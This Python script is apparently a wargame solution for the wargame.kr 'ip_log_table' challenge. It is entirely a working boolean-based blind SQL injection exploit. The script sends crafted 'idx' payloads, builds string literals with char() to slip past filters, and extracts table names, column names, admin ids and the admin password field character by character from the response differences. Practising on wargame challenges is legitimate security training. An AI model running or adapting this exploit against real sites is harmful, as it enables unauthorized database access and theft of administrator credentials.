import requests
def request_len(query, count=-1):
for i in range(0,100):
print("count: "+str(count))
if(count==-1): payload = query.format(i)
else: payload = query.format(count,i)
data = {'idx': payload}
print (payload)
res = requests.post(url, cookies=cookies, data=data)
if((res.text).find("1970-01-01 09:00:00")<0):
print("Length: "+str(i))
return i
return -1
def request_value(query, value_len, count=-1):
value=''
for i in range(1, value_len+1):
for j in index_list:
if(count==-1): payload = query.format(i,j)
else: payload = query.format(count,i,j)
data = {'idx': payload}
print (payload)
res = requests.post(url, cookies=cookies, data=data)
if((res.text).find("1970-01-01 09:00:00")<0):
value += chr(j)
break
print("Value: "+value)
return value
if __name__=='__main__':
cookies= {'ci_session':'YourSessionValue'}
url = 'http://wargame.kr:8080/ip_log_table/chk.php'
index_list = [95]+list(range(97,123))
######################### TABLE ##############################
query="idx=0 or 1=1 and length((select table_name from information_schema.tables where table_type=concat(char(98),char(97),char(115),char(101),char(32),char(116),char(97),char(98),char(108),char(101)) limit 0,1))={0}"
table_len=request_len(query)
if( table_len == -1):
exit("table_len code Error")
print(table_len)
query="idx=0 or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type=concat(char(98),char(97),char(115),char(101),char(32),char(116),char(97),char(98),char(108),char(101)) limit 0,1),{0},1))={1}"
table_name=request_value(query, table_len)
if( table_name == '' ):
exit("table_name code Error")
######################### COLUMN ##############################
query="idx=0 or 1=1 and (select count(column_name) from information_schema.columns where table_name=concat(char(97),char(100),char(109),char(105),char(110),char(95),char(116),char(97),char(98),char(108),char(101)))={0}"
column_count=request_len(query)
if( column_count == -1):
exit("column_count code Error")
column=[]
for count in range(0, column_count):
query="idx=0 or 1=1 and length((select column_name from information_schema.columns where table_name=concat(char(97),char(100),char(109),char(105),char(110),char(95),char(116),char(97),char(98),char(108),char(101)) limit {0},1))={1}"
column_len=request_len(query, count)
if( column_len == -1):
exit("column_len code Error")
query="idx=0 or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name=concat(char(97),char(100),char(109),char(105),char(110),char(95),char(116),char(97),char(98),char(108),char(101)) limit {0},1),{1},1))={2}"
column_name=request_value(query, column_len, count)
if( column_name == '' ):
exit("column_name code Error")
column.append(column_name)
print("COLUMN: "+str(column))
######################### ID_VALUE ##############################
query="idx=0 or 1=1 and (select count(id) from admin_table)={0}"
id_count=request_len(query)
if( id_count == -1):
exit("id_count code Error")
id=[]
for count in range(0, id_count):
query="idx=0 or 1=1 and length((select id from admin_table limit {0},1))={1}"
id_len=request_len(query, count)
if( id_len == -1):
exit("id_len code Error")
query="idx=0 or 1=1 and ascii(substr((select id from admin_table limit {0},1),{1},1))={2}"
id_name=request_value(query, id_len, count)
if( id_name == '' ):
exit("id_name code Error")
id.append(id_name)
print("ID: "+str(id))
######################### PS_VALUE ##############################
query="idx=0 or 1=1 and length((select ps from admin_table where id=concat(char(98),char(108),char(117),char(101),char(95),char(97),char(100),char(109),char(105),char(110))))={0}"
ps_len=request_len(query)
if( ps_len == -1):
exit("id_len code Error")
query="idx=0 or 1=1 and ascii(substr((select ps from admin_table where id=concat(char(98),char(108),char(117),char(101),char(95),char(97),char(100),char(109),char(105),char(110))),{0},1))={1}"
ps_value=request_value(query, ps_len)
if( ps_value == '' ):
exit("ps_value code Error")
